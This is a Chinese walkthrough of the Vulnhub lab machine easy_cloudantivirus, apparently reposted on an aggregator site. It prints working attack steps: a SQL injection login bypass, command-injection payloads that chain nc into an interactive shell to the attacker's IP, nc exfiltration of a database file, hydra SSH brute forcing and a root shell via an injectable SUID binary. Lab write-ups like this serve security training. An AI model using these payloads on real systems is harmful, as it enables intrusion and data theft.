打靶记录——靶机easy_cloudantivirus

靶机下载地址

链接:https://pan.baidu.com/s/1OfrqdNKbabAkMvmoM70gbQ?pwd=gz0m 
提取码:gz0m 
  • Vulnhub 的靶机都有一个特点,通常导入到 VMware Workstation 时都会获取不到 IP 地址,虽然可以进紧急模式中修改,但是太麻烦了,还是将 Kali 和靶机桥接吧。
  • 注意:测试发现此靶机不能正常获取到ip地址,因此需要进入拯救模式,进入拯救模式的方法此 处不赘述,进入过后,重点更改网卡配置文件,由于Ubuntu 18.04 的网卡默认文件位置已经从以 前的位置变为了 /etc/netplan/50***.yaml,编辑这个文件将网卡名称改为 ens33 然后重启解决问 题。

涉及的攻击方法

  • 端口扫描
  • Web侦查
  • SQL注入
  • 命令注入
  • 密码爆破
  • 代码分析
  • NC串联
  • 本地提权

导入VMware虚拟机

下载完成后,得到easy_cloudantivirus.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。

打靶过程

主机发现

  • Vulnhub 的靶机都有一个特点,通常导入到 VMware Workstation 时都会获取不到 IP 地址,虽然可以进紧急模式中修改,但是太麻烦了,还是将 Kali 和靶机桥接吧。
  • 注意:测试发现此靶机不能正常获取到ip地址,因此需要进入拯救模式,进入拯救模式的方法此 处不赘述,进入过后,重点更改网卡配置文件,由于Ubuntu 18.04 的网卡默认文件位置已经从以 前的位置变为了 /etc/netplan/50***.yaml,编辑这个文件将网卡名称改为 ens33 然后重启解决问 题。

image.png
可以用arp-scan,但是这次用其他方法——arping,因为arping在Linux中比较常见,广泛度更好。arp-scan比较偏向于黑客工具

for i in $(seq 1 254); do sudo arping -c 2 192.168.174.$i; done

这段代码是一个 Bash 脚本,用于进行局域网中 IP 地址为 192.168.174.x(其中 x 是从 1 到 254 的整数)的主机的 ARP 探测。
让我来逐步解释:

  1. **for i in $(seq 1 254); do**
    • for i in $(seq 1 254) 是一个循环语句,它会迭代从1到254的整数,存储在变量 i 中。
    • seq 1 254 是一个生成序列的命令,它会生成从1到254的整数序列。
  2. **sudo arping -c 2 192.168.174.$i**
    • sudo 表示以超级用户权限执行后面的命令,通常用于需要特权的命令操作。
    • arping 是一个用于发送 ARP 请求的命令。
    • -c 2 指定发送ARP请求的次数,这里是2次。
    • 192.168.174.$i 是一个IP地址的变量,$i 表示循环中当前的整数值,从1到254。因此,这个命令会依次发送ARP请求到局域网中的 192.168.174.1 192.168.174.254 的所有主机。
  3. 执行过程
    • 脚本首先从1到254循环,对每个循环中的 i,执行一次 arping -c 2 192.168.174.$i 命令。
    • arping 命令发送ARP请求,以确定局域网中每个指定IP地址的主机的MAC地址。
    • -c 2 选项指定发送两个ARP请求,这有助于确保获取到响应,并减少了因网络问题而导致的丢失的概率。
  4. 用途
    • 这种技术通常用于扫描局域网中的主机,以检测和识别活动主机的IP地址和MAC地址。
    • 在网络管理、安全测试或故障排除中,ARP探测是一种常见的方法,用于验证网络设备的可达性和响应性。

需要注意的是,执行该脚本需要有足够的权限(通常是超级用户权限),因为 arping 命令通常需要进行网络设备的直接访问和操作。


端口扫描、服务发现

使用Nmap进行端口扫描和服务版本的发现

nmap -p- 192.168.174.131

image.png
然后用 -sV 参数发现版本服务

  • -sV 参数能够检测目标主机上运行的具体服务及其版本号,如 Apache HTTP Server 2.4.38。
nmap -p22,8080 -sV 192.168.174.131

image.png
发现8080端口开放了HTTP服务,那我们访问看看
image.png
输入一个双引号
image.png
发现了SQL报错,是sqlite数据库,还有执行的SQL语句
image.png
使用万能密码登录 1" or 1=1 --+
image.png
发现了一些文件,可能是用来扫描病毒的文件
image.png
image.png
接下来通过命令注入漏洞来操作
image.png
image.png

反弹Shell

我们可以先看看有没有nc命令
image.png
发现是有的
image.png
构造payload: hello | nc 192.168.174.128 3333 -e /bin/bash
发现加上了 -e 参数没有用,可能是nc的版本问题
那我们先去掉-e参数,看看nc能不能正常使用,发现是能的

那接下来使用 nc 串联的方法,在3333端口输入的命令,会在4444端口显示出来

hello |nc 192.168.174.128 3333 |/bin/bash |nc 192.168.174.128 4444

image.png
查看一下 database.sql
image.png
下载下来看看内容,开启监听并将内容保存

nc -lvnp 5555 > db.sql

然后再3333端口处执行命令nc 192.168.174.128 5555 < datebase.sql
image.png
image.png
得到一些密码,再看看都有哪些账号,看看有shell的账号

cat /etc/passwd | grep /bin/bash

image.png
然后制作字典,接着用海德拉爆破SSH
image.png

hydra -L user.txt -P pass.txt ssh://192.168.174.131

image.png
发现失败了,那我们尝试其他的方法
在上级目录发现了两个文件
image.png
发现 updata_cloudav 具有可执行权限,并且属主是root,那么我们执行这个文件,再进行反弹shell,就能获得root的shell了

查看源代码,发现执行文件时需要在后面加上参数
image.png

提权

使用双引号是因为要把它们当成一个整体来执行,这样就不会断掉

./update_cloudav "a|nc 192.168.174.128 5555 | /bin/bash |nc 192.168.174.128 6666"

image.png
image.png
成功获得root权限

复盘总结

  1. 针对靶机,首先做了主机发现,当发现了它的目标IP地址之后
  2. 对它进行端口扫描和服务版本的发现,进而发现了一个HTTP的服务,工作在目标靶机的8080端口上
  3. 于是我们通过浏览器访问目标靶机8080端口上的Web服务
  4. 于是在这个Web页面上,我们发现了一个SQL注入漏洞,也可以使用暴力破解的方式去破解它的邀请码,进而去登录到Web应用的后台页面
  5. 在后台发现命令注入漏洞,利用命令注入漏洞获得反弹的Shell
  6. 然后在目标靶机上进行信息收集
  7. 在数据库文件中发现了一些疑似密码的字符串,于是利用这些密码来进行SSH的暴力破解,最终尝试失败
  8. 于是搜集更多信息,最终发现了一个拥有SUID权限的执行程序,然后通过代码审计,发现问题
SUID(Set User ID)权限是一种特殊的权限设置,用于在执行可执行文件时暂时改变执行该文件的用户的权限。它允许普通用户以超级用户(root)的权限来执行文件,这在某些情况下是非常有用的,比如需要访问一些只有管理员才能访问的资源或执行某些需要特权的操作,但又不希望用户真正成为超级用户。
  1. 最终找到利用这个漏洞的方式,最终取得目标靶机的Root权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3248329.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

Android SurfaceView 组件介绍,挖洞原理详解

文章目录 组件介绍基本概念关键特性使用场景 SurfaceHolder介绍主要功能使用示例 SurfaceView 挖洞原理工作机制 使用SurfaceView展示图片示例创建一个自定义的 SurfaceView类在 Activity 中使用 ImageSurfaceView注意事项效果展示 组件介绍 在 Android 开发中&#xff0c;Sur…

【STM32 HAL库】全双工DMA双buffer的I2S使用

1、配置I2S 我们的有效数据是32位的&#xff0c;使用飞利浦格式。 2、配置DMA **这里需要注意&#xff1a;**i2s的DR寄存器是16位的&#xff0c;如果需要发送32位的数据&#xff0c;是需要写两次DR寄存器的&#xff0c;所以DMA的外设数据宽度设置16位&#xff0c;而不是32位。…

关于vue实现导出excel表,以及导出的excel后的图片超过单元格的问题

实现导出带图标片的excel的方法&#xff0c; 首先&#xff1a; import table2excel from js-table2excel // 导出表格 按钮点击后触发事件 const onBatchExport () > {const column [//数据表单{title: "ID", //表头名称titlekey: "id", //数据ty…

新手小白的pytorch学习第五弹-----pytorch的工作流

我们之前学习了 pytorch 中的基本数据 tensor 今天我们要开始学习 pytorch 的简单工作流程了 数据 -> 构建或选择一个预训练的模型 -> 使得模型适应数据并能够进行预测 -> 评估模型 -> 通过实验提升性能 -> 保存并重新加载你训练的模型 机器学习和深度学习的关…

解决mysql,Navicat for MySQL,IntelliJ IDEA之间中文乱码

使用软件版本 jdk-8u171-windows-x64 ideaIU-2021.1.3 mysql-essential-5.0.87-win32 navicat8_mysql_cs 这个问题我调试了好久&#xff0c;网上的方法基本上都试过了&#xff0c;终于是解决了。 三个地方结果都不一样。 方法一 首先大家可以尝试下面这种方法&#xff1a…

Github 2024-07-15 开源项目周报 Top15

根据Github Trendings的统计,本周(2024-07-15统计)共有15个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Python项目5非开发语言项目4JavaScript项目3TypeScript项目2Go项目1Solidity项目1Java项目1Rust项目1免费编程学习平台:freeCodeCamp.org 创建…

数据库系统概论:数据库完整性

引言 数据库是现代信息系统的心脏&#xff0c;数据的准确性和一致性对于业务流程至关重要。数据库完整性是确保数据质量的基石&#xff0c;它涵盖了数据的正确性、相容性和一致性&#xff0c;是数据安全与业务连续性的保障。 数据库完整性是指数据的精确性、可靠性和逻辑一致…

选择项目进度系统的10大必知软件

国内外主流的10款项目进度软件对比&#xff1a;PingCode、Worktile、蓝凌EIS智慧工作平台、Teambition、Tapd、Tower、Monday.com、ClickUp、Asana、Jira。 在选择项目进度系统时&#xff0c;你是否感到困惑或不确定如何挑选最适合自己团队的工具&#xff1f;市场上的众多选项和…

Uncaught (in promise) TypeError: Object(...) is not a function at eval

踩坑: Uncaught (in promise) TypeError: Object(...) is not a function at eval_at object.eval [as fullvalidate] (eval at <anonymo-CSDN博客 又新添一个错误的出现方式&#xff0c;后台启动没问题&#xff0c;但是我的数据库是无法自行启动的&#xff0c;这就导致在查…

Redis-布隆过滤器(Bloom Filter)详解

文章目录 什么是布隆过滤器 布隆过滤器的优点&#xff1a;布隆过滤器的缺点&#xff1a;其他问题 布隆过滤器适合的场景布隆过滤器原理 数据结构增加元素查询元素删除元素 如何使用布隆过滤器 Google开源的Guava自带布隆过滤器Redis实现布隆过滤器 Redis中配置布隆过滤器Redis…

MYSQL 四、mysql进阶 9(数据库的设计规范)

一、为什么需要数据库设计 二、范 式 2.1 范式简介 在关系型数据库中&#xff0c;关于数据表设计的基本原则、规则就称为范式。 可以理解为&#xff0c;一张数据表的设计结 构需要满足的某种设计标准的 级别 。要想设计一个结构合理的关系型数据库&#xff0c;必须满足一定的…

品牌出海“掘金”的王牌账号:亚马逊VC——WAYLI威利跨境助力商家

在全球化的大潮中&#xff0c;B2B模式已然成为品牌出海“掘金”的王牌账号&#xff0c;特别是在亚马逊VC这一强大平台的加持下。亚马逊VC不仅是企业间贸易的桥梁&#xff0c;更是品牌国际化的加速器。 亚马逊VC&#xff0c;为企业提供了直接进入亚马逊全球供应链的机遇。这不仅…

神经网络中如何优化模型和超参数调优(案例为tensor的预测)

总结&#xff1a; 初级&#xff1a;简单修改一下超参数&#xff0c;效果一般般但是够用&#xff0c;有时候甚至直接不够用 中级&#xff1a;optuna得出最好的超参数之后&#xff0c;再多一些epoch让train和testloss整体下降&#xff0c;然后结果就很不错。 高级&#xff1a;…

盛夏畅饮狂欢,肆拾玖坊肆玖嘿哈精酿白啤陪你嗨啤!

盛夏的炎热,犹如烈火燃烧,让人无法抵挡那股渴望畅饮的冲动。在这个时节,你是否也期待着与亲朋好友欢聚一堂,聚餐畅饮,共度清凉惬意的时光?快来!肆拾玖坊的肆玖嘿哈喊你一起嗨啤了! 提及啤酒,想必大家都不会陌生。这个古老的饮品,自公元前3世纪起便与人类相伴,穿越历史的长河,时…

【ProtoBuf】proto 3 语法 -- 详解

这个部分会对通讯录进行多次升级&#xff0c;使用 2.x 表示升级的版本&#xff0c;最终将会升级如下内容&#xff1a; 不再打印联系人的序列化结果&#xff0c;而是将通讯录序列化后并写入文件中。 从文件中将通讯录解析出来&#xff0c;并进行打印。 新增联系人属性&#xff…

常用指标和损失总结

损失 回归问题 L1损失 L1 损失是最小化模型参数的绝对值之和。 倾向于使模型参数接近零&#xff0c;导致模型变得更加稀疏。这意味着一些特征的权重可能变为零&#xff0c;从而被模型忽略。 对异常值非常敏感。异常值会导致参数权重绝对值增大&#xff0c;从而影响模型的整…

2024年【电工(高级)】考试报名及电工(高级)模拟考试题库

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 电工&#xff08;高级&#xff09;考试报名参考答案及电工&#xff08;高级&#xff09;考试试题解析是安全生产模拟考试一点通题库老师及电工&#xff08;高级&#xff09;操作证已考过的学员汇总&#xff0c;相对有…

【Charles】-雷电模拟器-抓HTTPS包

写在前面 之前的文章我们写过如何通过Charles来抓取IOS手机上的HTTPS包以及遇到的坑。说一个场景&#xff0c;如果你的手机是IOS&#xff0c;但是团队提供的APP安装包是Android&#xff0c;这种情况下你还想抓包&#xff0c;怎么办&#xff1f; 不要慌&#xff0c;我们可以安装…

Elasticsearch 批量更新

Elasticsearch 批量更新 准备条件查询数据批量更新 准备条件 以下查询操作都基于索引crm_flow_info来操作&#xff0c;索引已经建过了&#xff0c;本文主要讲Elasticsearch批量更新指定字段语句&#xff0c;下面开始写更新语句执行更新啦&#xff01; 查询数据 查询指定shif…

Java基础 —— 项目一:ATM存取款系统

目录 一、系统架构搭建 二、系统欢迎页设计 三、用户开户功能 卡号去重复 根据卡号查找账户 四、用户登录功能 展示用户登录后的操作页面 查询账户信息 存款 取款 转账 销户 修改密码 五、整体代码 1.账户类Account 2.银行系统类ATM 3.测试类Test 运行结果 他人之得&#xff0c…